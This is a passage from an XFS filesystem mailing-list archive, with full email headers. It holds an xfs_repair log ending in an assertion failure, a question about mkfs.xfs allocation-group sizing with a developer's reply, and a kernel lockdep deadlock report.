data fork in ino 1136058713 claims free block 880541659 data fork in ino 1136058713 claims free block 880545914 data fork in ino 1136058713 claims free block 880545915 data fork in ino 1136058713 claims free block 880546202 data fork in ino 1136058713 claims free block 880546203 data fork in ino 1136058713 claims free block 880546458 data fork in ino 1136058713 claims free block 880546459 data fork in ino 1136058713 claims free block 880546698 data fork in ino 1136058713 claims free block 880546699 data fork in ino 1136058713 claims free block 880547210 data fork in ino 1136058713 claims free block 880547211 data fork in ino 1136058713 claims free block 880547482 data fork in ino 1136058713 claims free block 880547483 data fork in ino 1136058713 claims free block 880547738 data fork in ino 1136058713 claims free block 880547739 data fork in ino 1136058713 claims free block 880548026 data fork in ino 1136058713 claims free block 880548027 data fork in ino 1136058713 claims free block 880548298 data fork in ino 1136058713 claims free block 880548299 data fork in ino 1136058713 claims free block 880549546 data fork in ino 1136058713 claims free block 880549547 data fork in ino 1136058713 claims free block 880549834 data fork in ino 1136058713 claims free block 880549835 data fork in ino 1136058713 claims free block 880550074 data fork in ino 1136058713 claims free block 880550075 data fork in ino 1136058713 claims free block 880550330 data fork in ino 1136058713 claims free block 880550331 data fork in ino 1136058713 claims free block 880550586 data fork in ino 1136058713 claims free block 880550587 data fork in ino 1136058713 claims free block 880551098 data fork in ino 1136058713 claims free block 880551099 data fork in ino 1136058713 claims free block 880551338 data fork in ino 1136058713 claims free block 880551339 data fork in ino 1136058713 claims free block 880551610 data fork in ino 1136058713 claims free block 880551611 data fork in ino 1136058713 claims free block 880552634 data fork in ino 1136058713 claims free block 880552635 data fork in ino 1136058713 claims free block 880552906 data fork in ino 1136058713 claims free block 880552907 data fork in ino 1136058713 claims free block 880557850 data fork in ino 1136058713 claims free block 880557851 data fork in ino 1136058713 claims free block 880558138 data fork in ino 1136058713 claims free block 880558139 data fork in ino 1136058713 claims free block 880564362 data fork in ino 1136058713 claims free block 880564363 data fork in ino 1136058713 claims free block 882067557 data fork in ino 1136058713 claims free block 882067558 data fork in ino 1136058713 claims free block 882067973 data fork in ino 1136058713 claims free block 882067974 data fork in ino 1136058713 claims free block 882068373 data fork in ino 1136058713 claims free block 882068374 data fork in ino 1136058713 claims free block 882068741 data fork in ino 1136058713 claims free block 882068742 data fork in ino 1136058713 claims free block 882069157 data fork in ino 1136058713 claims free block 882069158 data fork in ino 1136058713 claims free block 882069557 data fork in ino 1136058713 claims free block 882069558 data fork in ino 1136058713 claims free block 882070357 data fork in ino 1136058713 claims free block 882070358 data fork in ino 1136058713 claims free block 882070773 data fork in ino 1136058713 claims free block 882070774 data fork in ino 1136058713 claims free block 882071189 data fork in ino 1136058713 claims free block 882071190 data fork in ino 1136058713 claims free block 882072693 data fork in ino 1136058713 claims free block 882072694 data fork in ino 1136058713 claims free block 882073125 data fork in ino 1136058713 claims free block 882073126 data fork in ino 1136058713 claims free block 882074709 data fork in ino 1136058713 claims free block 882074710 data fork in ino 1136058713 claims free block 882073925 data fork in ino 1136058713 claims free block 882073926 data fork in ino 1136058713 claims free block 882077445 data fork in ino 1136058713 claims free block 882077446 data fork in ino 1136058713 claims free block 882077861 data fork in ino 1136058713 claims free block 882077862 data fork in ino 1136058713 claims free block 882078277 data fork in ino 1136058713 claims free block 882078278 data fork in ino 1136058713 claims free block 882079381 data fork in ino 1136058713 claims free block 882079382 data fork in ino 1136058713 claims free block 882081317 data fork in ino 1136058713 claims free block 882081318 data fork in ino 1136058713 claims free block 882081989 data fork in ino 1136058713 claims free block 882081990 data fork in ino 1136058713 claims free block 882082293 data fork in ino 1136058713 claims free block 882082294 data fork in ino 1136058713 claims free block 882082693 data fork in ino 1136058713 claims free block 882082694 data fork in ino 1136058713 claims free block 882083077 data fork in ino 1136058713 claims free block 882083078 data fork in ino 1136058713 claims free block 882083477 data fork in ino 1136058713 claims free block 882083478 data fork in ino 1136058713 claims free block 882084229 data fork in ino 1136058713 claims free block 882084230 data fork in ino 1136058713 claims free block 882084965 data fork in ino 1136058713 claims free block 882084966 data fork in ino 1136058713 claims free block 882085749 data fork in ino 1136058713 claims free block 882085750 data fork in ino 1136058713 claims free block 882086197 data fork in ino 1136058713 claims free block 882086198 data fork in ino 1136058713 claims free block 882086581 data fork in ino 1136058713 claims free block 882086582 data fork in ino 1136058713 claims free block 882091621 data fork in ino 1136058713 claims free block 882091622 data fork in ino 1136058713 claims free block 882093205 data fork in ino 1136058713 claims free block 882093206 data fork in ino 1136058713 claims free block 882094405 data fork in ino 1136058713 claims free block 882094406 data fork in ino 1136058713 claims free block 885391697 data fork in ino 1136058713 claims free block 885391698 data fork in ino 1136058713 claims free block 885393713 data fork in ino 1136058713 claims free block 885393714 data fork in ino 1136058713 claims free block 885394017 data fork in ino 1136058713 claims free block 885394018 data fork in ino 1136058713 claims free block 885396673 data fork in ino 1136058713 claims free block 885396674 data fork in ino 1136058713 claims free block 885397937 data fork in ino 1136058713 claims free block 885397938 data fork in ino 1136058713 claims free block 885398689 data fork in ino 1136058713 claims free block 885398690 data fork in ino 1136058713 claims free block 885399233 data fork in ino 1136058713 claims free block 885399234 data fork in ino 1136058713 claims free block 885400465 data fork in ino 1136058713 claims free block 885400466 data fork in ino 1136058713 claims free block 885400737 data fork in ino 1136058713 claims free block 885400738 data fork in ino 1136058713 claims free block 885402513 data fork in ino 1136058713 claims free block 885402514 data fork in ino 1136058713 claims free block 885402817 data fork in ino 1136058713 claims free block 885402818 data fork in ino 1136058713 claims free block 885403089 data fork in ino 1136058713 claims free block 885403090 data fork in ino 1136058713 claims free block 885403361 data fork in ino 1136058713 claims free block 885403362 data fork in ino 1136058713 claims free block 885403649 data fork in ino 1136058713 claims free block 885403650 data fork in ino 1136058713 claims free block 885403921 data fork in ino 1136058713 claims free block 885403922 data fork in ino 1136058713 claims free block 885404609 data fork in ino 1136058713 claims free block 885404610 data fork in ino 1136058713 claims free block 885410945 data fork in ino 1136058713 claims free block 885410946 bad back (left) sibling pointer (saw 16140901064495857663 should be NULL (0)) in inode 1137017084 (data fork) bmap btree block 151485768 bad data fork in inode 1137017084 cleared inode 1137017084 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 entry "1011_20130509205900.mpg" at block 13 offset 4016 in directory inode 1073789184 references free inode 1137017084 clearing inode number in entry at offset 4016... bad back (left) sibling pointer (saw 16140901064495857663 should be NULL (0)) in inode 1115989006 (data fork) bmap btree block 107963248 xfs_repair: dinode.c:2136: process_inode_data_fork: Assertion `err == 0' failed. Aborted ============================================================= This is xfs_repair 3.1.11, from xfsprogs 3.1.11 from tarball, compiled on the machine in question, which is a 32-bit OS with 512MB of ram (the mobo, an old MSI KT6V, pukes if we try to put more ram on it for some reason). I have run memtest+ on the ram and multiple passes come back clean as a whistle; the SATA controller is a SiI 3114, which we had to buy to talk to the 3TB drives; boot is from the VT6420 on the motherboard and a dedicated 40G Samsung. I have done some work on this repair booted from a Suse 12.1 rescue disk with a 3.7 kernel, on the theory that the XFS drivers in the kernel might help; I found that mounting and unmounting in between multiple repair runs made me have to do less of them -- though I'm sure more than two dirty runs before one sees a clean one ought to be Right Out anyway. I've seen suggestions on the mailing list archives and other places that (some) assertion fails were for things fixed in earlier tools releases, but that one's not helping me... I have space to move this data off and remake the filesystem, if I can get it to mount reliably and stay that way long enough. Any assistance cheerfully appreciated. :-) Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From aurfalien@gmail.com Sat Jul 13 19:11:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2364F7F4E for ; Sat, 13 Jul 2013 19:11:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 935EEAC002 for ; Sat, 13 Jul 2013 17:11:43 -0700 (PDT) X-ASG-Debug-ID: 1373760702-04cbb04691f6c220001-NocioJ Received: from mail-ob0-f177.google.com (mail-ob0-f177.google.com [209.85.214.177]) by cuda.sgi.com with ESMTP id Xt9eZnzKzegs3MFj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 13 Jul 2013 17:11:42 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] Received: by mail-ob0-f177.google.com with SMTP id ta17so12576758obb.22 for ; Sat, 13 Jul 2013 17:11:42 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:content-type:content-transfer-encoding:subject:date:message-id :to:mime-version:x-mailer; bh=lg6Gg8iYpRFaKD7pksAVkO7s/motcDyLhhu5xkSrxTI=; b=NflYDoB+e3/ltYWM5sVdV58kB+Va/5Na1orT5YPY/nOcLBQT7uIk+QOx4iH7ZoVD0b VAWAl5teSr+14sO71MNmB7SjVBTWBp4kce0ZDH7qGBpnn8VOQVQOMOUBRzVI+hVSr7hp Lct/twV2VnwNo91hVO4sPxrjCBuXKz2zaKIYTiDFwLMd7bFWkS0Nhk1/5UjQhXedPwLJ MvHQ9mKNMkMwjIwem5YJC0/bYqPIXRSLSptgA03QELstk0AtoTT4rdLF2mGDTfmQLIZ4 m8QAJgpE6f5HdcWwDiRxjaxMoX3+lFpDF8mudcq5UWz+JBpgZqzE78E59V5Ds/7eoema q2fg== X-Received: by 10.182.144.231 with SMTP id sp7mr40220991obb.14.1373760701877; Sat, 13 Jul 2013 17:11:41 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id rs4sm61584743obc.10.2013.07.13.17.11.39 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 13 Jul 2013 17:11:40 -0700 (PDT) From: aurfalien Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: specify agsize? Date: Sat, 13 Jul 2013 17:11:38 -0700 X-ASG-Orig-Subj: specify agsize? Message-Id: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> To: xfs@oss.sgi.com Mime-Version: 1.0 (Apple Message framework v1085) X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-ob0-f177.google.com[209.85.214.177] X-Barracuda-Start-Time: 1373760702 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136688 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello again, I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte = block size. So I do; mkfs.xfs -f -l size=3D512m -d su=3D128k,sw=3D14 = /dev/mapper/vg_doofus_data-lv_data And I get; meta-data=3D/dev/mapper/vg_doofus_data-lv_data isize=3D256 = agcount=3D32, agsize=3D209428640 blks =3D sectsz=3D512 attr=3D2, = projid32bit=3D0 data =3D bsize=3D4096 blocks=3D6701716480, = imaxpct=3D5 =3D sunit=3D32 swidth=3D448 blks naming =3Dversion 2 bsize=3D4096 ascii-ci=3D0 log =3Dinternal log bsize=3D4096 blocks=3D131072, = version=3D2 =3D sectsz=3D512 sunit=3D32 blks, = lazy-count=3D1 realtime =3Dnone extsz=3D4096 blocks=3D0, = rtextents=3D0 All is fine but I was recently made aware of tweaking agsize. So I = would like to mess around and iozone any diffs between the above agcount = of 32 and whatever agcount changes I may do. I didn't see any mention of agsize/agcount on the XFS FAQ and would like = to know, based on the above, why does XFS think I have 32 allocation = groups with the corresponding size? And are these optimal numbers? Thanks in advance, - aurf From mlsemon35@gmail.com Sat Jul 13 19:34:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 216AB7F51 for ; Sat, 13 Jul 2013 19:34:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0EE6C304032 for ; Sat, 13 Jul 2013 17:34:10 -0700 (PDT) X-ASG-Debug-ID: 1373762049-04cbb0468ef6cd20001-NocioJ Received: from mail-yh0-f45.google.com (mail-yh0-f45.google.com [209.85.213.45]) by cuda.sgi.com with ESMTP id 6AVvDzV0P8ooRDCi (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 13 Jul 2013 17:34:10 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.45] Received: by mail-yh0-f45.google.com with SMTP id b20so4196545yha.32 for ; Sat, 13 Jul 2013 17:34:09 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=njhAGeRWwsNQc71x1SB8LefQPaPHhYXOYpRGPTfsUWs=; b=aR3F2XIDzci4z3n6Rxtpp7jKcBVfi4eGjKxiCd7r4/Rn7Ur6KHoESToRzMc2MdtdzF FEJBc4s5YAorxoke9AtxyomXxU9iEAfflIDy0PQdqP3e+Sx0Qq7SbKLT/I5WX0K6pcio te2c/HMRdqOYve/SiflEo9D7+0LuKx+VLuY6HkG2WwHtlB+gdBGS7I+RZHF8Pg/SL1eN sK+scQjgYIFGeI9jM2FBHrU/H6TzOxpHQ5f+IVu/dNwlhwTI+H9kxO39Rxzk3x+ehmn4 TPQ5dF9Po73spRtBF8Wc4LwEli5czIIx1VZC9+ETv0oePPo6vla1gNwsg59RbSjZqdJJ 5sIA== X-Received: by 10.236.141.134 with SMTP id g6mr26343585yhj.81.1373762049324; Sat, 13 Jul 2013 17:34:09 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id s29sm76014973yhf.6.2013.07.13.17.34.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 13 Jul 2013 17:34:08 -0700 (PDT) Message-ID: <51E1F1F4.40500@gmail.com> Date: Sat, 13 Jul 2013 20:33:56 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Lockdep for 3.10.0+ for rm of kernel git... Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: Lockdep for 3.10.0+ for rm of kernel git... Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f45.google.com[209.85.213.45] X-Barracuda-Start-Time: 1373762049 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136690 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi! Here's a lockdep that happened while executing an `rm -r linux` to remove an old kernel git directory. This is for a git 3.10.0+ kernel on a non-CRC XFS filesystem that's less than a week old. I'm not getting lockdep reports like this unless I'm minding my own business. xfstests could be running until there's a faint burning electrical smell in the room, and this won't show up. But if all I'm doing is removing things to prepare for the next xfstests session or git activity, then this lockdep will show up. I'm not sure if I get the same lockdep every time, but it's related to deletes somehow, and it's newer than the production 3.10 kernel, AFAIK. For the lockdeps, this pattern is prominent... CPU0 ---- lock(&(&ip->i_lock)->mr_lock); lock(&(&ip->i_lock)->mr_lock); ...and lockdep hasn't suggested the SMP scenario on XFS in some time. There does seem to be some new lockdep work in the kernel, so maybe it's not a regression but something else. Thanks! Michael ================================= [ INFO: inconsistent lock state ] 3.10.0+ #1 Not tainted --------------------------------- inconsistent {IN-RECLAIM_FS-W} -> {RECLAIM_FS-ON-R} usage. rm/30139 [HC0[0]:SC0[0]:HE1:SE1] takes: (&(&ip->i_lock)->mr_lock){++++-?}, at: [] xfs_ilock+0xb9/0x174 {IN-RECLAIM_FS-W} state was registered at: [] __lock_acquire+0x5e8/0x101c [] lock_acquire+0x7f/0xf2 [] down_write_nested+0x4c/0x67 [] xfs_ilock+0xff/0x174 [] xfs_reclaim_inode+0xf4/0x30a [] xfs_reclaim_inodes_ag+0x283/0x3b2 [] xfs_reclaim_inodes_nr+0x2d/0x33 [] xfs_fs_free_cached_objects+0x13/0x15 [] prune_super+0xd1/0x15c [] shrink_slab+0x14a/0x2ce [] kswapd+0x45f/0x74d [] kthread+0x9e/0xa0 [] ret_from_kernel_thread+0x1b/0x28 irq event stamp: 3593819 hardirqs last enabled at (3593819): [] __raw_spin_lock_init+0x19/0x4f hardirqs last disabled at (3593818): [] __raw_spin_lock_init+0x19/0x4f softirqs last enabled at (3593802): [] __do_softirq+0x132/0x1e5 softirqs last disabled at (3593795): [] irq_exit+0x60/0x67 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&(&ip->i_lock)->mr_lock); lock(&(&ip->i_lock)->mr_lock); *** DEADLOCK *** 1 lock held by rm/30139: #0: (&(&ip->i_lock)->mr_lock){++++-?}, at: [] xfs_ilock+0xb9/0x174 stack backtrace: CPU: 0 PID: 30139 Comm: rm Not tainted 3.10.0+ #1 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 eeb99140 eeb99140 ee457b34 c1471697 ee457b70 c146ee29 c15ac23e c15ac5c8 000075bb 00000000 00000000 00000000 00000000 00000001 00000001 c15ac5c8 0000000b eeb99484 00000800 ee457ba4 c1060c4a 0000000b c147cd14 ee456000 Call Trace: [] dump_stack+0x16/0x18 [] print_usage_bug+0x1dc/0x1e6 [] mark_lock+0x1fb/0x27c [] ? print_shortest_lock_dependencies+0x190/0x190 [] mark_held_locks+0x89/0xe9 [] ? save_stack_trace+0x2f/0x4b [] lockdep_trace_alloc+0x5c/0xb8 [] __alloc_pages_nodemask+0x70/0x745 [] ? mark_held_locks+0x89/0xe9 [] __get_free_pages+0x1c/0x37 [] pte_alloc_one_kernel+0x14/0x16 [] __pte_alloc_kernel+0x16/0x71 [] vmap_page_range_noflush+0x12c/0x13a [] vm_map_ram+0x32c/0x3d7 [] ? vm_map_ram+0x72/0x3d7 [] _xfs_buf_map_pages+0x5b/0xe1 [] xfs_buf_get_map+0x67/0x154 [] xfs_buf_read_map+0x1f/0xd6 [] xfs_buf_readahead_map+0x47/0x57 [] xfs_da_reada_buf+0xaf/0xcb [] xfs_dir3_data_readahead+0x2f/0x36 [] xfs_dir_open+0x7b/0x8e [] ? xfs_file_fallocate+0x123/0x123 [] do_dentry_open.isra.18+0xf8/0x1d7 [] ? xfs_file_fallocate+0x123/0x123 [] finish_open+0x1b/0x27 [] do_last+0x43f/0xbf8 [] ? link_path_walk+0x54/0x6c2 [] path_openat+0xaf/0x513 [] do_filp_open+0x31/0x72 [] ? getname_flags+0x90/0x124 [] do_sys_open+0x107/0x1d8 [] ? restore_all+0xf/0xf [] SyS_openat+0x20/0x22 [] syscall_call+0x7/0xb [] ? pcpu_dump_alloc_info+0x26/0x1ee From sandeen@sandeen.net Sat Jul 13 21:13:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E59247F37 for ; Sat, 13 Jul 2013 21:13:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D106AC003 for ; Sat, 13 Jul 2013 19:13:08 -0700 (PDT) X-ASG-Debug-ID: 1373767983-04cb6c2a47cc9bf0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id w5eKQ5xVbUZa7WPV for ; Sat, 13 Jul 2013 19:13:03 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id AA1EF602D52E; Sat, 13 Jul 2013 21:13:02 -0500 (CDT) Message-ID: <51E2092D.7090409@sandeen.net> Date: Sat, 13 Jul 2013 21:13:01 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: xfs@oss.sgi.com Subject: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> X-ASG-Orig-Subj: Re: specify agsize? In-Reply-To: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373767983 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 7/13/13 7:11 PM, aurfalien wrote: > Hello again, > > I have a Raid 6 x16 disk array with 128k stripe size and a 512 byte block size. > > So I do; > > mkfs.xfs -f -l size=512m -d su=128k,sw=14 /dev/mapper/vg_doofus_data-lv_data > > And I get; > > meta-data=/dev/mapper/vg_doofus_data-lv_data isize=256 agcount=32, agsize=209428640 blks > = sectsz=512 attr=2, projid32bit=0 > data = bsize=4096 blocks=6701716480, imaxpct=5 > = sunit=32 swidth=448 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal log bsize=4096 blocks=131072, version=2 > = sectsz=512 sunit=32 blks, lazy-count=1 > realtime =none extsz=4096 blocks=0, rtextents=0 > > > All is fine but I was recently made aware of tweaking agsize. Made aware by what? For what reason? > So I would like to mess around and iozone any diffs between the above > agcount of 32 and whatever agcount changes I may do. Unless iozone is your machine's normal workload, that will probably prove to be uninteresting. > I didn't see any mention of agsize/agcount on the XFS FAQ and would > like to know, based on the above, why does XFS think I have 32 > allocation groups with the corresponding size? It doesn't think so, it _knows_ so, because it made them itself. ;) > And are these optimal > numbers? How high is up? Here's the appropriate faq entry: http://xfs.org/index.php/XFS_FAQ#Q:_I_want_to_tune_my_XFS_filesystems_for_.3Csomething.3E -Eric > Thanks in advance, > > - aurf > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From aurfalien@gmail.com Sat Jul 13 23:20:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 000857F55 for ; Sat, 13 Jul 2013 23:20:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B3EC08F8033 for ; Sat, 13 Jul 2013 21:20:35 -0700 (PDT) X-ASG-Debug-ID: 1373775633-04bdf0233ff98e40001-NocioJ Received: from mail-oa0-f49.google.com (mail-oa0-f49.google.com [209.85.219.49]) by cuda.sgi.com with ESMTP id FJJIA7NGfPpcX95E (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 13 Jul 2013 21:20:34 -0700 (PDT) X-Barracuda-Envelope-From: aurfalien@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] Received: by mail-oa0-f49.google.com with SMTP id n9so14431698oag.8 for ; Sat, 13 Jul 2013 21:20:33 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:x-mailer; bh=aCI4bljja3KqsN3OFr2DQQ0FKrccYSwwZZhcvTJ1Tps=; b=KZGdz+LnigUNsCBFsH7Zki7LMqTfFkBxnpjqNNv66Vg5IM8jAutkKa5M3Dwe0ZmQpP OIBya5w8coyBXXDtho2cqLR7W10BTuWIZ7dkfsP63qp4MQQm9Kbej2hYgUfmXbKZlKbD 4EWB/DGW6ifA9H3b8Nym/o7wRRnrE/utaoNSnIOEoDcC2ek6Q5XAVV0cyNFSavVALEsZ 7qc5EcXpL7/pBrNhqyGAjeaZ/A9Qndpnd1ukZwOc6ORy4ENNzwQzs7HCyA+2Krx76KRR NKXaVVrwrdGoT0s4xiSpnVs5vFfMo62XH0HRhnFe7vfD96pZMstKNt2ZSlNx1nj5hWqk ZW7A== X-Received: by 10.60.56.229 with SMTP id d5mr39865801oeq.7.1373775633241; Sat, 13 Jul 2013 21:20:33 -0700 (PDT) Received: from [192.168.1.74] (75-63-29-182.lightspeed.irvnca.sbcglobal.net. [75.63.29.182]) by mx.google.com with ESMTPSA id fk3sm62516411obb.2.2013.07.13.21.20.31 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 13 Jul 2013 21:20:32 -0700 (PDT) Subject: Re: specify agsize? Mime-Version: 1.0 (Apple Message framework v1085) X-ASG-Orig-Subj: Re: specify agsize? Content-Type: text/plain; charset=us-ascii From: aurfalien In-Reply-To: <51E2092D.7090409@sandeen.net> Date: Sat, 13 Jul 2013 21:20:29 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.1085) X-Barracuda-Connect: mail-oa0-f49.google.com[209.85.219.49] X-Barracuda-Start-Time: 1373775633 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 